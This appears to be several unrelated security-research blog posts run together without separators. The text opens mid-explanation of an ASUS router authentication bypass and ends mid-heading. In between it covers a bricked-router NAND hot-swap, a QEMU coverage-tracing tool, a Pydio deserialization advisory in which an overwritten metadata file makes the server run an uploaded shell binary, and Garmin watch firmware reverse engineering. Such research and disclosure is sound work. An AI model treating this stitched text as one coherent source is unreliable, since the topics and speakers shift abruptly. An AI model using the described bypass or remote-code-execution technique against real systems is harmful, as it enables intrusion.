The check_ifttt_token function compares the user submitted value to the stored configuration value currently stored in the systems NVRAM configuration. The following shows the decompiled pseudocode for this function:
The function nvram_safe_get is used to retrieve the stored iftt_token value from the systems NVRAM configuration, which can be seen in the following decompiled pseudocode:
router/httpd/prebuild/web_hook.o - nvram_safe_get
char *__fastcall nvram_safe_get(char* setting_key)
{
char *result; // r0
result = nvram_get(setting_key);
if ( !result )
result = "\0";
return result;
}
In the case the NVRAM configuration does not contain a value for the requested setting, the function returns "\0" (Null). As the submitted asus_token has been set to a Null from the original request the string comparison will indicate that the values are equal and the check_iftt_token function will return true (1), as seen in the following pseudocode:
ifft_token = nvram_safe_get("ifttt_token"); // <----- returns \0
if ( !strcmp(asus_token, ifft_token) ) // <----- returns 0 as they match, evals to true and login is successful
{
// if the IFTTT_ALEXA log file is enabled, log successful check message
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] IFTTT/ALEXA long token success.\n", "check_ifttt_token", 760);
// Return 1
result = 1; // <----- set result value
}
else// <----- skipped
{
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] IFTTT/ALEXA long token fail.\n", "check_ifttt_token", 766);
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
Debug2File(
"/tmp/IFTTT_ALEXA.log",
"[%s:(%d)][HTTPD] IFTTT/ALEXA long token is %s.\n",
"check_ifttt_token",
767,
asus_token);
if ( isFileExist("/tmp/IFTTT_ALEXA") > 0 )
{
v3 = nvram_safe_get("ifttt_token");
Debug2File("/tmp/IFTTT_ALEXA.log", "[%s:(%d)][HTTPD] httpd long token is %s.\n", "check_ifttt_token", 768, v3);
}
result = 0;
}
return result; // <----- return 1
}
Continuing back within auth_check, the check_ifttt_token return value causes the if statement to evaluate to false, skipping the code path that would result in a failed authentication attempt, resulting in the authentication process to succeed:
Often when assessing an embedded system, changes can occur (intended or otherwise) that cause the target system to enter a state where it no longer works ('bricked'). In some cases fixing the target is as simple as performing a "factory reset", others may be slightly more involved and require flashing the target using a debug interface (JTAG/SWD/*) or manually flashing an external storage device (SPI/NOR/Nand/eMMC). This post walks through resolving a situation where a target has been 'bricked' with a creative methodology.
During some downtime, I was poking at an off the shelf consumer router that was using Common Firmware Environment (CFE) as a boot loader. While interacting with the CFE trying to identify arguments that are passed to the target's operating system at boot, the system configuration was accidentally corrupted:
CFE> b
Press: <enter> to use current value
'-' to go previous parameter
'.' to clear the current value
'x' to exit this command
94908AC5300R ------ 03
94906REF ------ 07
GT-AC2900 ------ 08
Board Id : 8 X <---- whoops
Number of MAC Addresses (1-64) : 10 ^C <---- more whoops
x
Memory Configuration Changed -- REBOOT NEEDED <---- whoops saved.
flow memory allocation (MB) : 14 ----
At this point I figured a final save/write would be required to commit the accidental changes, so I opted to just power cycle the device to avoid making permanent changes. After power cycling the device, an error occurred:
When the device came back up, it immediately produced the previous error and failed to enter the CFE. Without being able to access the boot loader, the configuration could not be changed and the boot loader's recovery process could not be utilized either. Searching online for this error was not helpful and resulted in dead ends and the general consensus is if you corrupt CFE in this manner - the device is 'bricked'. At this point I switched to working with my backup device (always have a backup) so I could answer my original question regarding interesting target arguments. As an aside, the setting kernp mfg_nvram_mode=1 mfg_nvram_url=BADURL is particularly interesting.
Later on I circled back to the bricked unit to identify a path to fix it. The target is using a Broadcom SoC and an unpopulated header was found to provide JTAG access:
After enumerating the JTAG pinout on the unpopulated header with a JTagulator, it was possible to confirm access using OpenOCD:
$ openocd -f ../interface/jlink.cfg -f bcm49.cfg
Open On-Chip Debugger 0.11.0-rc2+dev-gba0f382-dirty (2021-02-26-14:07)
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
DEPRECATED! use 'adapter speed' not 'adapter_khz'
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
Info : J-Link V10 compiled Dec 11 2020 15:39:30
Info : Hardware version: 10.10
Info : VTarget = 3.323 V
Info : clock speed 1000 kHz
Info : JTAG tap: bcm490x.tap tap/device found: 0x5ba00477 (mfg: 0x23b (ARM Ltd), part: 0xba00, ver: 0x5)
Info : JTAG tap: auto0.tap tap/device found: 0x4ba00477 (mfg: 0x23b (ARM Ltd), part: 0xba00, ver: 0x4)
Info : JTAG tap: auto1.tap tap/device found: 0x0490617f (mfg: 0x0bf (Broadcom), part: 0x4906, ver: 0x0)
Info : JTAG tap: auto2.tap tap/device found: 0x0490617f (mfg: 0x0bf (Broadcom), part: 0x4906, ver: 0x0)
Info : bcm490x.a53.0: hardware has 6 breakpoints, 4 watchpoints
The other path for restoring the system is through the storage device, a Macronix NAND chip:
At this point I started to wonder about something, I still had a working device that I could boot into the boot loader - would it be possible to swap the NAND chip on a running device and use it to flash the corrupted NAND?
Before attempting anything, I asked a co-worker if he thought this stupid idea would have any chance at working, he wasn't optimistic on the outcome (to be fair, I wasn't either) - we made a bet on the results and I went to work.
The first stage of testing was to find out if the system would tolerate having the NAND 'removed' while running? I knew that answering this question I would need to be more methodical than just hitting the unit with hot air while its running and removing the chip. The first stage of this process was to identify how the NAND is being powered. The layout looks like VCC is tied into the chip in the following locations:
With the VCC lines identified, the easiest way to answer our first question would be to remove the VCC lines from the NAND while the system is running. In order to do this, my first try was to cut the VCC lines and add 'jumper' wires (36 AWG Magnet Wire is great stuff) that can be disconnected once the boot loader is done:
On the right hand side I chose to cut further back on the power trace thinking it would be a better spot as it feeds into a few pins on the NAND. On the first jumper install I used a fiberglass scratch pen to remove the coating and expose the copper and a small knife to cut the trace:
The result was gross as the scratch pen tip was far too big and I ended up exposing lots of copper. Don't use a scratch pen, just a fine tipped knife so you don't end up with a mess. More like this:
With the 'jumpers' installed and connected, the target was powered up to the boot loader (CFE) and the command dn (dump nand) was used to ensure the NAND was accessible, power was then removed by disconnecting the jumper wires:
CFE> dn
------------------ block: 0, page: 0 ------------------
00000000: 00000000 00000000 00000000 00000000 ................
00000010: 00000000 00000000 00000000 00000000 ................
00000020: 00000000 00000000 00000000 00000000 ................
<CUT FOR LENGTH>
----------- spare area for block 0, page 0 -----------
00000800: ff851903 20000008 00fff645 c2b9bf55 .... ......E...U
00000810: ffffffff ffffffff ffee9423 4ba37819 ...........#K.x.
00000820: ffffffff ffffffff ffee9423 4ba37819 ...........#K.x.
00000830: ffffffff ffffffff ffee9423 4ba37819 ...........#K.x.
*** command status = 1
CFE>
web info: Waiting for connection on socket 1.␛[J
CFE>
web info: Waiting for connection on socket 0.␛[J
CFE> ␀---- <----- VCC Removed (reboot)
When the power was removed (marked with 'VCC Removed') the target rebooted and failed to return to the boot loader as the NAND was not accessible. The source of the problem was the right side power cut was in a spot that removed power from the SoC as well as the NAND. Keeping it simple, the initial cut was restored and only the trace closest to the NAND was cut and jumpered:
Bringing the system back up and attempting the previous test gave me the answer to my initial question: when the power is removed by disconnecting the jumper wires, the system remains operational, as confirmed by running the dn command:
By confirming it is possible to 'turn off' the NAND on the running system without disrupting the boot loader, the next step was to try to power down the NAND and physically remove it from the board while it's running.
Using hot air and tweezers, one side was lifted at a time (right side then left):
This process resulted in the system restarting and failing to enter the boot loader:
Since I had lifted the NAND off one side at a time while monitoring the console it was easy to see that the reboot occurred when lifting the "left" side of the NAND:
The most likely culprits were the Read Enable (RE#) or Ready/Busy (R/B#) pins changing state. To test this, jumper wires were added to both:
At this point the NAND had to be placed back on the board in order to return the system back to the boot loader, the NAND was once again powered down by disconnecting the VCC jumpers and the RE#,R/B# lines were held low by attaching them to ground:
The NAND was again removed, working one side at a time while monitoring the boot loader console:
This time the boot loader remained active and the system did not reboot. With one more part of the puzzle completed it was time to move on to the next step - attaching the corrupted NAND to the running target.
Once again hot air was used to solder the replacement NAND to the target, the first attempt was unsuccessful as some pins were shorted when trying to get the alignment right on both sides. As encountered previously, failure at this point requires starting the entire process over again - the replacement NAND had to be removed and the original had to be placed back on the board.
For the second attempt, a small piece of paper was used to insulate one side of the NAND while the other was aligned and attached with hot air:
Once the first side was attached, the paper was removed and the other side was attached. The boot loader remained active once the new NAND was in place. The next step was to re-enable the RE#,R/B# pins by removing the ground jumper wires and finally VCC jumper was reattached. Once everything was reconnected, confirmation that the NAND was available was done again with the dn command:
With a successful test read completed, the factory firmware image was loaded through the boot loader's web interface:
web info: Waiting for connection on socket 1.␛[J
web info: Upload 70647828 bytes, flash image format.␛[J <----- Image Upload
CFE> ........
Setting JFFS2 sequence number to 13
Flashing root file system at address 0x06000000 (flash offset 0x06000000): <-----Image Write
.................................................................... .....................................................................
....................................................................
....................................................................
....................................................................
....................................................................
....................................................................
....................................................................
Resetting board in 0 seconds...�----
BTRM
V1.6
CPU0
L1CD
MMUI
MMU7
DATA
ZBBS
MAIN
OTP?
OTPP
USBT
NAND
IMG?
IMGL
UHD?
UHDP
RLO?
RLOP
UBI?
UBIP
PASS
----
<CUT FOR LENGTH>
CFE version 1.0.38-161.122 for BCM94908 (64bit,SP,LE)
Build Date: Mon May 13 08:23:21 CST 2019 (defjovi@ubuntu-eva02)
Copyright (C) 2000-2015 Broadcom Corporation.
Boot Strap Register: 0x6fc42
Chip ID: BCM4906_A0, Broadcom B53 Quad Core: 1800MHz
Total Memory: 536870912 bytes (512MB)
Status wait timeout: nandsts=0x50000000 mask=0x40000000, count=0
NAND ECC BCH-4, page size 0x800 bytes, spare size used 64 bytes
NAND flash device: , id 0xc2da block 128KB size 262144KB
<CUT FOR LENGTH>
Initalizing switch low level hardware.
pmc_switch_power_up: Rgmii Tx clock zone1 enable 1 zone2 enable 1.
Software Resetting Switch ... Done.
Waiting MAC port Rx/Tx to be enabled by hardware ...Done
Disable Switch All MAC port Rx/Tx
*** Press any key to stop auto run (1 seconds) ***
Auto run second count down: 0
Booting from only image (address 0x06000000, flash offset 0x06000000) ... <----- Success!!111!
Decompression LZMA Image OK!
Entry at 0x0000000000080000
Starting program at 0x0000000000080000
/memory = 0x20000000
Booting Linux on physical CPU 0x0
Linux version 4.1.27 (jenkins@asuswrt-build-server) (gcc version 5.3.0 (Buildroot 2016.02) ) #2 SMP PREEMPT Fri Jun 19 13:05:44 CST 2020
CPU: AArch64 Processor [420f1000] revision 0
Detected VIPT I-cache on CPU0
As shown in the output, the flash was successful and the system booted into the target operating system.
I am sure some reading this will say - "why not use $device_name_here chip reader/writer to reprogram the NAND?", which is an absolutely fair question and probably makes more sense than this nonsense; However, I believe the fitting quote to reference here is one by the famous chaos theory mathematician:
'Your scientists were so preoccupied with whether they could, they didn't stop to think if they should'
QEMU is a key tool for anyone searching for bugs in diverse places. Besides just opening the doors to expensive or opaque platforms, QEMU has several internal tools available to enable developer’s further insight and control. Researchers comfortable modifying QEMU have access to powerful inspection capabilities. We will walk through a recent custom addition to QEMU to highlight some helpful internal tools and demonstrate the power of a hackable emulator.
The target was a SoC that had an interesting system spread across multiple processes and libraries. We could communicate with this system from the external network, and we wanted to know the extent of our reach before authentication. Because of the design of the system, it was not simple to track down all the places our influence reached without valid credentials. A better map of that surface area would be helpful for further findings. We had done the prior work to get the target up and running in QEMU, so why not just have the emulator tell us?
Tracing in QEMU
Tracing guest execution in QEMU is not as simple as calling printf(“%p\n”, pc); for every instruction. The thing that puts the Q in QEMU is the TCG. The TCG (Tiny Code Generator) is a just in time compiler that will translate blocks of guest instructions to code that can run on the host. While it would be simple to trace each new block translated, once they are translated the blocks can run multiple times unimpeded and untracked by QEMU code. If all that is needed is a trace of when each block is translated, there is built-in tracing in QEMU that can give that information. (The event is translate_block. See the docs for more details.)
Once a block is translated, the emitted code may be used and reused many times. For our target we wanted to be able to start our trace when the system was in a steady state, when many blocks would have already been translated. If we want to trace every time some basic block is executed in the guest, we need to emit our own operations in front of the rest of the translated block.
There are lots of great references we can turn to for emitting custom operations alongside the translated code. QEMU itself can place instructions before each basic block that are used to count the number of instructions executed. We can follow the call to get_tb_starthere in translator.c, which leads here. Operations to check the instruction count are added so execution can be halted if a limit is reached.
/*...*/
tcg_gen_ld_i32(count, cpu_env,
offsetof(ArchCPU, neg.icount_decr.u32) -
offsetof(ArchCPU, env));
if (tb_cflags(tb) & CF_USE_ICOUNT) {
/*
* We emit a sub with a dummy immediate argument. Keep the insn index
* of the sub so that we later (when we know the actual insn count)
* can update the argument with the actual insn count.
*/
tcg_gen_sub_i32(count, count, tcg_constant_i32(0));
icount_start_insn = tcg_last_op();
}
tcg_gen_brcondi_i32(TCG_COND_LT, count, 0, tcg_ctx->exitreq_label);
The piece of gen_tb_start emitting the conditional branch
Thankfully, we do not have to specify individual operations like the icount code does. To simplify things, QEMU can generate “helper” functions which will generate operations to call out to a native function from within the translated blocks. This is what AFL++’s fork of qemu uses for its tracing instrumentation without having to modify the guest binary. AFL++’s qemu has to track unique paths taken, and the code makes for a good example for our use case. The In the AFL++ fork, the function afl_gen_trace is called immediately before a basic block is translated.
In tb_gen_code where afl emits operations to trace execution
They there call gen_helper_afl_maybe_log, but searching the source we can find no definition for that function. This is a helper function. The build system will create a definition that will emit operations to perform a call to the function HELPER(afl_maybe_log).
AFL++'s trace helper, adjusting a map in shared memory
The function was declared here as DEF_HELPER_FLAGS_1(afl_maybe_log, TCG_CALL_NO_RWG, void, t1). QEMU’s build system will handle generating the code to create TCG operations to call the helper function. The “_1” indicates it takes one argument, and the last two arguments to the macro are the return type, and the argument type. tl indicates target_ulong. Another helpful argument type is env which passes an CPUArchState * argument to the helper function. ptr, i64, f32, and such all do what they say on the tin.
For our tool, we used a helper function to call to call out at the beginning of every code block. In target/arm/translate.c we added gen_helper_bb_enter(cpu_env, tcg_constant_i32(4)) in the function arm_tr_tb_start which is called at the beginning of translating every block for an ARM guest. This will generate code for each basic block that will call our function HELPER(bb_enter).
This leads us to another problem we encounter when trying to trace such a complex system. On our target, if we implement HELPER(bb_enter) with fprintf(logfile, “@%p\n”, env->regs[15]) we are quickly going to slow our emulator to a crawl, and be left with huge unreasonable files. In our case, we did not care too much about the order in which these basic blocks were hit, we just cared what basic blocks were uniquely hit when we interact with the system over the network. For this we implemented a form of Differential Debugging.
We had to communicate to QEMU when to start and stop a trace, so we could take separate recordings. A recording of area covered while running the system without interacting with it over the network, and a separate recording of lots of various non-authenticated interaction with the system over the network. We then found the area covered in the second recording that was not covered in the first. Then we had our tool report this as surface area to be further tested and reviewed for vulnerabilities.
To do this we implemented the tracing as a bitmap of the address space we cared about. We adjusted the granularity of our map so that every entry accounted for 0x10 bytes of code, which for our 32-bit arm target produced perfectly manageable file sizes.
Piece of relevant code for implementing our tracing bitmap
We also had to add some method to communicate to our emulator when to start, stop, clear, or write out a coverage map. QEMU provides a nice way to implement commands such as these in its HMP (human monitor) system. The documentation contains instructions on how to add monitor commands. The basic process involves adding an entry in the hmp-commands.hx file describing the command names, the arguments expected, and a bit of info about the command. The handler declarations can go in include/monitor/hmp.h, and the definitions typically go in monitor/hmp-cmds.c.
We implemented a clear, start, stop, and write command for our tracing.
For many targets this would be enough, and we could move on to writing tooling to convert our coverage information to file offsets. The system we wanted to gather info on was running in usermode code across multiple processes on our target. If we had logged based on the instruction pointer, we would have a trace of virtual addresses across all processes. Most of these virtual addresses are not going to be unique across processes, rendering our system coverage mostly meaningless.
We got around this issue with a bit of a hack. By translating the virtual address of the instruction pointer to a physical address, we can avoid aliasing between processes. This works for the system we were testing because the relevant processes all remained running the whole time. For an extra measure we turned swap off, keeping our pages from moving around underneath us.
This is probably not a Good Idea™ for most tracing use cases, but it worked well for our setup and we were able to implement it quickly. We made use of a function in QEMU called get_phys_addr that exists for ARM targets. We probably would have been better off using something that made use of the TLB, as the constant translation slowed down the emulator noticeably when our tracing was enabled.
/*...*/
target_ulong start;
hwaddr pstart;
hwaddr pend;
MemTxAttrs attrs = { 0 };
int prot = 0;
target_ulong page_size = { 0 };
ARMMMUFaultInfo fi = { 0 };
ARMCacheAttrs cacheattrs = { 0 };
start = env->regs[15];
// convert to physical address
// >:|
// returns bool, but 0 means success
if (get_phys_addr(
env,
start,
MMU_INST_FETCH,
arm_mmu_idx(env),
&pstart,
&attrs,
&prot,
&page_size,
&fi,
&cacheattrs
)) {
printf("DBG Could not get phys addr for %x\n", start);
return;
}
Our call to get_phys_addr to translate the instruction pointer into a physical address
To work with physical addresses, we confined our coverage map to the part of the physical address space that we knew was correlated with RAM. Before and after obtaining our two coverage recordings we took physical memory dumps of our system using the existing QEMU monitor command pmemsave. To parse the coverage date for unique coverage, we made a small script that evaluated the dumps, the coverage maps, and any relevant binary files. Upon finding bits in the bitmap that are unique to the second recording, the script checks if the memory dumps show this to be in one of the relevant binary files. We cannot do exact matching on the binary files because relocations will have changed the contents, so we simply align the text section and check if it is “near enough” a match. With a good threshold for “near enough” we obtained accurate results. From there we translated the unique bit locations to file offsets and generate coverage data that could be used with IDA, Binary Ninja, or Ghidra.
(Lighthouse is our favorite coverage plugin for IDA and Binary Ninja. Dragon Dance is a good alternative for Ghidra. Lighthouse’s modoff format is very simple to implement. If coverage compatible with Dragon Dance is needed, the drcov format is simple enough to implement, and Qiling framework has some good example code for generating it.)
Conclusion
This solution worked well for our target and gave us some areas to dig into that would have otherwise been difficult to find quickly. The purpose of this post is not to introduce some new fork of QEMU with this tool built in. There are already too many unmaintained forks of QEMU for vulnerability research, and this tool would be a lot less effective in other situations. This is meant as more of a love note to QEMU, and hopefully inspires other researchers to make better use of their favorite emulator. The internals of QEMU made so our tracing tool could be developed quickly, and we could return focus to finding vulnerabilities.
Pydio (formerly AjaXplorer) is an open source web application for remotely managing and sharing files. Users may upload files to the server and then are enabled to share files with public links in a similar way that Google Drive, Dropbox, or other cloud services work.
By sending a file copy request with a special HTTP variable used in code, but not exposed in the web UI, an attacker can overwrite the .ajxp_meta file. The .ajxp_meta file is a serialized PHP object written to the user’s directory and is deserialized when Pydio needs information about files it stores.
Note the HTTP variable targetBaseName which defines a new name for the file copy. This variable is not checked to prevent overwriting special files. After uploading a file called payload containing our PHP gadget, we copy it over the .ajxp_meta file.
The contents of the payload file you can override the .ajxp_meta with may look similar to this PHP gadget. In tools like phpggc, which store collection of gadgets, there are a few that looked promising. However, in my own testing, none of the gadgets worked and I didn’t dig enough to find out why. Instead, I found a class used to generate Captcha images, which allowed you define a custom SoX binary path (so the captcha can be read for accessibility). This was my first foray into PHP gadgets and the path to finding this class was haphazard at best.
The above PHP object gadget will attempt to run a binary file that has been uploaded to the user's directory called shell.elf. We do make an assumption about a path on the server by passing an absolute path to the shell binary we uploaded. During testing, the location in the gadget was the default location with no special Pydio configurations.
This vulnerability affects the last release of Pydio Core (8.2.5) and likely many versions prior. Git blame places the code originally being committed in late 2016.
Pydio Core is considered End-of-Life by the Pydio developers and, as such, will receive no security patches going forward. Pydio Enterprise users should contact Pydio directly to mitigate the issue. The Pydio developers encourage users to upgrade to Pydio Cells, which is a complete rewrite of Pydio in Go and is not vulnerable.
Timeline
* 2020-09-03: Atredis Partners sent an initial notification to vendor, including a draft advisory.
* 2020-10-26: Atredis Partners sends an initial notification to CERT/CC (VRF#20-10-SWJYN).
One upside to living in a cyberpunk-adjacent fever dream is the multitude of (relatively) inexpensive supercomputers you can strap to your body. I recently bought a watch equipped with an array of sensors (and supporting microcontrollers) to record hikes, runs, and rides. The device, a Garmin Forerunner 235, is far from the most advanced piece of technology you can buy to perform these tasks but, so far, has performed well. My partner also has a Garmin watch and rushed to show me all of the customization options available via Garmin’s ConnectIQ Store and App. That's how this all started.
Here at Atredis Partners, I spend a good chunk of time under the delusion I'm a modern Sherlock Holmes. From the outside, I'm just a middle aged person lacking sleep and, evidently, the wherewithal to shave regularly. But, in my head, I'm hot on the trail of some computational mystery. Each engagement is a frantic sprint from layman to myopic expert. To give our customers the best assessment of their technology, we have to optimize where our time is spent. We need to understand the system design in order to evaluate tradeoffs between attack surface, impact, and complexity. The sooner we understand a technology, the more hours we have to allocate and arrange, Jenga-like, into a plan of attack. The more complete our understanding, the more accurate and complete our determination of impact and severity. When you spend your life understanding the most important (for some definition) parts of hundreds of devices in three week bursts of effort, every device looks like a new mystery to be solved.
Some people would spend their time away from these mental sprints actually hiking, running, or biking with their cool new watch (and I do that, sometimes). I, instead, needed to understand how this wrist-based computational cluster worked. To be precise, this project was driven by my curiosity, not by nascent privacy concern. This project wasn't an effort to point out all the security bugs or persuade you that balaclava-clad shadows are tracking your every movement. I make no privacy judgement either way -- you'll have to judge your own risk tolerance. Finally, I've enjoyed my Garmin watch and the company was easy to work with while reporting issues. This isn't an indictment of their products.
TL;DR: I'm a nerd. I bought an exercise watch and promptly stopped exercising to tear it apart.
Information Gathering
ConnectIQ
All of this started with a casual mention that Garmin provides a third party app store, ConnectIQ (abbreviated as CIQ), for Garmin devices. CIQ consists of an app store (https://apps.garmin.com/en-US/), a smart phone app to install CIQ Apps on your Garmin device, and a free software development kit (SDK) for developing CIQ Apps (https://developer.garmin.com/connect-iq/overview/). With my deerstalker on and a pipe firmly between my teeth, the link to the ConnectIQ SDK was the first note I took in my gumshoe notebook. As far as attack surface goes (even in our broader lens of overall system understanding), being able to run code on the device is hard to beat when it comes to tools for understanding a system.
Firmware
The firmware was the next clue, and this one was a gamble. Devices often have encrypted or "encrypted" (encoded with the intent to obfuscate) firmware. In this case, a quick web search turned up a community repository of installable firmware updates for Garmin devices (repository is currently down). I jotted down the Forerunner 235 firmware in my metaphorical steno pad.
Hardware
The firmware runs on some set of programmable devices within the watch. Without knowing which microcontrollers are included in the watch design, reversing is more difficult. Knowing the architecture and memory map of the system-on-chips (SoCs) used will provide more clues towards understanding how the firmware is loaded and executed. Having a bill-of-materials or some approximation of such is not a strict necessity, but provides a good reference going forward while taking apart the firmware. Another web search turned up a teardown for a similar device and the FCC images provided additional clues. These were also recorded in the notepad, providing another category of data to draw from.
The Screaming Hoards
Lastly and reluctantly, it’s time to check if anyone has stolen our fun. Has someone already written up their efforts at understanding a Garmin device? Some searching produced a very nice write up of a TomTom watch and a handful of file format reverse engineering. This is a considerably good outcome -- our fun hadn’t been cut off but we do have a head start on some of the artifacts we'll need to analyze. I took note of links to the firmware update format (RGN) and a GitHub repository related to the CIQ application format (PRG).
With our initial flurry of web searches done, it was time to start somewhere. As I mentioned above, the ability to run your own code on the watch seems like a great place to start. Heading to the Garmin ConnectIQ site and reading more about the developer tools revealed that CIQ Apps are developed in a custom language called Monkey C. A custom language is surprising enough to require some follow-up research before diving into the actual SDK provided. The question at hand was: why did Garmin decide on a custom language?
Before unraveling that question, it’s important to take a glance at the language. As you can see below, the language appears to be made of JavaScript and Java.
using Toybox.WatchUi;
using Toybox.Graphics;
using Toybox.System;
using Toybox.Lang;
class AtrediFaceView extends WatchUi.WatchFace {
...
function onExitSleep() {
System.println("onExitSleep");
foo();
}
function foo() {
var x = 0xf00d;
System.println("0xf00d + 1 = " + (x + 1).toString());
}
}
Using the SDK provided by Garmin, it is possible to compile and run this code:
Notice that it was possible to sideload an App by copying the PRG file onto the watch. When the watch is plugged into the computer, it exposes a file system as a USB Mass Storage device.
Once the watch is unplugged, we'll see our beautiful Atredis bird soaring onto the watch face. After the watch face program has executed, debug output can be found on the FAT file system (after, once again, plugging the watch back into the computer).
Now that we're able to code some simple Monkey C, compile it to a PRG file, and run the code on the watch, we can get back to trying to answer the burning question of: But why?
Further reading on the Garmin developer website, forum, and a few web searches provides more background. A Garmin-authored presentation provides the justification for a new language and corresponding virtual machine. The Garmin applications, like Java applications, execute bytecode on a virtual machine. Like Android (and the Infocom Z-machine and Java Card systems before it), the CIQ applications are intended to run on a wide variety of devices. Further, the Garmin devices are limited in resources (computation, memory, and battery) and any runtime/OS environment should be able to restrict each client application's usage of these resources. Finally, the Garmin OS and application execution environment need to be able to enforce access control and isolation -- this includes memory isolation when lacking strong virtual memory subsystem within the OS. A badly behaving CIQ application should not be able to bring down the entire watch (i.e., Garmin wanted to be better than Windows 95).
The reasoning for running these applications in a virtual machine is clear. Garmin decided to develop a full ecosystem of language, compiler, runtime, and virtual machine to support this. That means we get to reverse-engineer all of it! 🎉 The language is documented in the SDK documentation. The compiler is provided in the SDK and can be reversed from that. The language runtime is implemented in firmware with the interface specified in the SDK. The virtual machine is not publicly documented but can be understood based on a combination of the compiler and the firmware.
This last bit, the details around the virtual machine, is most interesting to me. Using this mapping between concept and implementation, we'll attempt to answer the following questions by reverse engineering the compiler and firmware:
What does the virtual machine executable image look like?
Can the virtual applications mix native code with bytecode?
What is the architecture of the virtual machine?
How does the virtual machine interface with native code for the SDK?
Compiler
The downloadable SDK is mostly Java class files. It decompiles extremely well. The monkeybrains package includes a number of interesting tools but we focus on the compiler and assembler that work together to produce a PRG file. Pulling these apart provides a decent view of the PRG file structure. The high-level structure encapsulates a number of sections enveloped as type-length-value (TLV) structures. These sections include debugging metadata, bytecode, data, resources (e.g., strings for translations, bitmaps), and linking information for the runtime. There is an existing open source project, ciqdb, to parse much of this file format (although it does not handle the sections with the bytecode or the embedded resources yet).
Within the asm package, the Opcode class contains constants with mnemonic names for 55 different opcodes. Now, we have (mostly) familiar looking mnemonics that we can map to opcodes. Further reversing of the decompiled asm package leads us to an understanding of the bytecode stream from the PRG files. Below is a short hand disassembly of the foo function shown in Monkey C above:
So far, we've answered our initial question about the executable image format and we can start guessing at the virtual machine organization. Unfortunately, we don't have quite enough information in the compiler/assembler to answer much more about the system definitively. For that, we should move along and start working on the firmware. Specifically, we need to find the portion of the firmware responsible for loading, parsing, and executing these PRG images.
Firmware
A quick google for Garmin Forerunner firmware provides the official Garmin website. While the release notes are good, there does not appear to be a direct download of the firmware images from the website. Luckily, someone else already yanked the firmware from wherever the Garmin Connect app pulls from. (Or, at least, they used to. The archive of firmware was found at http://gawisp.com/perry/forerunner/ but it seems the site is currently down.)
With the firmware in hand, we need to determine how Garmin performs an update. Is the image a flat flash image? Does it contain metadata or a header? Does the format support a partial update? Again, we're lucky because someone has also already figured out the type-length-value (TLV) envelope structure of the GCD update files. There is a document providing information on the structure. All it takes is a little time with our best friend hexdump -C to see that the Forerunner 235 update contains two "large" images that can be pulled out. Interestingly, one is the size of the SRAM on the SoC we identified earlier via the teardown (of the Maxim MAX32630) and the other is the size of the internal flash. If I had to bet, I'd believe the first is a bootstrap that is written into SRAM so the firmware that is eXecute-In-Place can be replaced. We can write a quick Python script to extract the "main" firmware that we believe is written to the internal flash.
@classmethod
def parse(cls, f):
header = f.read(8)
if header != b'GARMINd\x00':
raise Exception('Unknown firmware format')
tlvs = []
while True:
data = f.read(4)
if len(data) != 4: break
tag, length = struct.unpack('<HH', data)
value = f.read(length)
tlvs.append((tag, length, value))
print(' 0x{:04x}: 0x{:04x}'.format(tag, length))
return cls(tlvs)
With the main firmware extracted, our ARM RE fingers should really be starting to itch. From the datasheet of the MAX32630, we know the internal flash is probably mapped starting at 0x0. Since the extracted flat image is mapped directly, there is no need for a dedicated IDA loader plugin -- the IDA load UI is flexible enough. Once the image is loaded and the appropriate architecture for the Cortex-M is selected, adding segments for SRAM and the peripheral ranges provide a solid starting point for the reverse engineering effort.
After running some Thumb function finding heuristic scripts against the initial database, what next? Our first goal is to find the code responsible for parsing and running the virtual machine programs. The parsing logic is probably the better of the two to start with -- the identification of the parsing logic will also help identify the runtime representation of the program. In most cases, the parsing logic will output an internal runtime representation. Understanding this runtime structure provides context for all reverse engineering of the execution or processing surrounding the loaded program. In this case, taking the time to create and refine the internal runtime context structure is worth the effort.
A quick look at the strings identified by IDA doesn't immediately provide any hints around the PRG processing. When strings are lacking, the next best handhold is using unique constants. In this case, the PRG tags are unique 32-bit integers perfect for IDA's "Search -> Immediate value...". Searching for 0xd000d000, the main PRG header tag, reveals a single function passing this value into a sub function. Perfect!
Using this as a starting point and walking up and down the call stack surrounding this function reveals, as we hoped, the code for parsing a PRG file. We will spare the reader three weeks of reverse engineering play-by-play as the virtual machine, deemed the "TVM" by Garmin, is analyzed and the runtime objects and utilities are reversed. In addition to the TVM, the OS structures and APIs need to be reversed along the way. The watch runs a Garmin developed OS but context clues and a few useful strings help determine the general OS object APIs. The OS provides abstractions for objects such as semaphores, tasks, events, and queues. A layer above this provides a file system abstraction and memory allocation routines. The TVM layers a richer abstraction on the memory allocation logic for tracking TVM program quotas and for maintaining reference counts on allocated buffers.
The TVM is a stack-based virtual machine. Each runtime value is stored along with the accompanying type. Opcodes manipulate values stored on the stack and can reference local variables reserved on the stack by index. Values are created at runtime by loading data from the PRG data section or via immediate values embedded in the bytecode stream. Once loaded onto the stack, the value can be manipulated and passed around the system. All runtime allocations are tracked per TVM instance. This tracking is an effort to prevent a buggy or malicious program from taking down the entire system via resource exhaustion. Runtime objects are also reference counted, as noted above, and are deterministically garbage collected when the last reference is released.
During analysis of the TVM context block, the PRG loading, and the runtime initialization, we're able to make some progress toward understanding how the virtual machine interacts with the native runtime (one of our overall goals). Below is an excerpt from a function we named tvm_run_function. This function is used to enter a TVM function based on a TVM virtual address, for example when handling a CALL opcode or to run initialization function after loading the PRG. We can see that, based on the high bits of the address, the TVM either executes a native function based on a function pointer table (tvm_native_methods) or executes bytecode by entering the opcode dispatch loop (tvm_execute_opcodes).
After weeks of reverse engineering and marking up an IDA database, we've answered questions 2, 3, and 4 pretty well. Additionally, along the way, we've identified a handful of code that appears to violate contracts made amongst the virtual machine runtime. Maybe the real treasures were the bugs we found along the way?
TVM Opcode Bugs
While reversing the TVM system, we noted a number of the opcode handlers performed operations that appeared to break the virtual machine abstraction. Below, we'll follow up on each of those. More information about each vulnerability, including the disclosure timeline, can be found at ATREDIS-2020-0004, ATREDIS-2020-0005, ATREDIS-2020-0006, and ATREDIS-2020-0007.
NEWA
